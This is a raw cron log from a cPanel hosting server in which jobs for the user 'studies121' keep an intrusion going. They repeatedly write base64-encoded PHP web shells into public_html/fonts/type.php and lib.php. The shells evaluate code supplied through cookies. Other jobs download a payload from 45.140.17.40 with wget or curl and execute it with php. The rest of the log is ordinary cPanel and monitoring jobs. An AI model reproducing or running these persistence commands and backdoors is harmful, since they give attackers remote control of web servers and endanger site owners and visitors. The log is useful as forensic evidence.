Aug 31 20:20:01 ip-184-168-122-23 CROND[23475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:20:01 ip-184-168-122-23 CROND[23474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:20:01 ip-184-168-122-23 CROND[23471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:20:01 ip-184-168-122-23 CROND[23477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:20:01 ip-184-168-122-23 CROND[23472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:20:01 ip-184-168-122-23 CROND[23470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:21:01 ip-184-168-122-23 CROND[23569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:21:01 ip-184-168-122-23 CROND[23572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:21:01 ip-184-168-122-23 CROND[23571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:21:01 ip-184-168-122-23 CROND[23573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:22:01 ip-184-168-122-23 CROND[23660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:22:01 ip-184-168-122-23 CROND[23663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:22:01 ip-184-168-122-23 CROND[23664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:22:01 ip-184-168-122-23 CROND[23662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:22:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:23:01 ip-184-168-122-23 CROND[23846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:23:01 ip-184-168-122-23 CROND[23847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:23:01 ip-184-168-122-23 CROND[23849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:23:01 ip-184-168-122-23 CROND[23848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:24:01 ip-184-168-122-23 CROND[23931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:24:01 ip-184-168-122-23 CROND[23932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:24:01 ip-184-168-122-23 CROND[23934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:24:01 ip-184-168-122-23 CROND[23933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:24:01 ip-184-168-122-23 CROND[23936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:25:01 ip-184-168-122-23 CROND[24022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:25:01 ip-184-168-122-23 CROND[24023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:25:01 ip-184-168-122-23 CROND[24026]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 20:25:01 ip-184-168-122-23 CROND[24027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:25:01 ip-184-168-122-23 CROND[24029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:25:01 ip-184-168-122-23 CROND[24031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:25:01 ip-184-168-122-23 CROND[24030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:26:01 ip-184-168-122-23 CROND[24119]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 31 20:26:01 ip-184-168-122-23 CROND[24122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:26:01 ip-184-168-122-23 CROND[24126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:26:01 ip-184-168-122-23 CROND[24125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:26:01 ip-184-168-122-23 CROND[24129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:26:01 ip-184-168-122-23 CROND[24127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 31 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 31 20:27:01 ip-184-168-122-23 CROND[24523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:27:01 ip-184-168-122-23 CROND[24525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:27:01 ip-184-168-122-23 CROND[24524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:27:01 ip-184-168-122-23 CROND[24526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:28:01 ip-184-168-122-23 CROND[24682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:28:01 ip-184-168-122-23 CROND[24684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:28:01 ip-184-168-122-23 CROND[24687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:28:01 ip-184-168-122-23 CROND[24685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:28:01 ip-184-168-122-23 CROND[24686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:29:01 ip-184-168-122-23 CROND[24872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:29:01 ip-184-168-122-23 CROND[24873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:29:01 ip-184-168-122-23 CROND[24874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:29:01 ip-184-168-122-23 CROND[24876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24975]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24978]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:30:01 ip-184-168-122-23 CROND[24986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:30:01 ip-184-168-122-23 CROND[24989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:31:01 ip-184-168-122-23 CROND[25079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:31:01 ip-184-168-122-23 CROND[25081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:31:01 ip-184-168-122-23 CROND[25085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:31:01 ip-184-168-122-23 CROND[25083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:31:01 ip-184-168-122-23 CROND[25084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:32:01 ip-184-168-122-23 CROND[25195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:32:01 ip-184-168-122-23 CROND[25198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
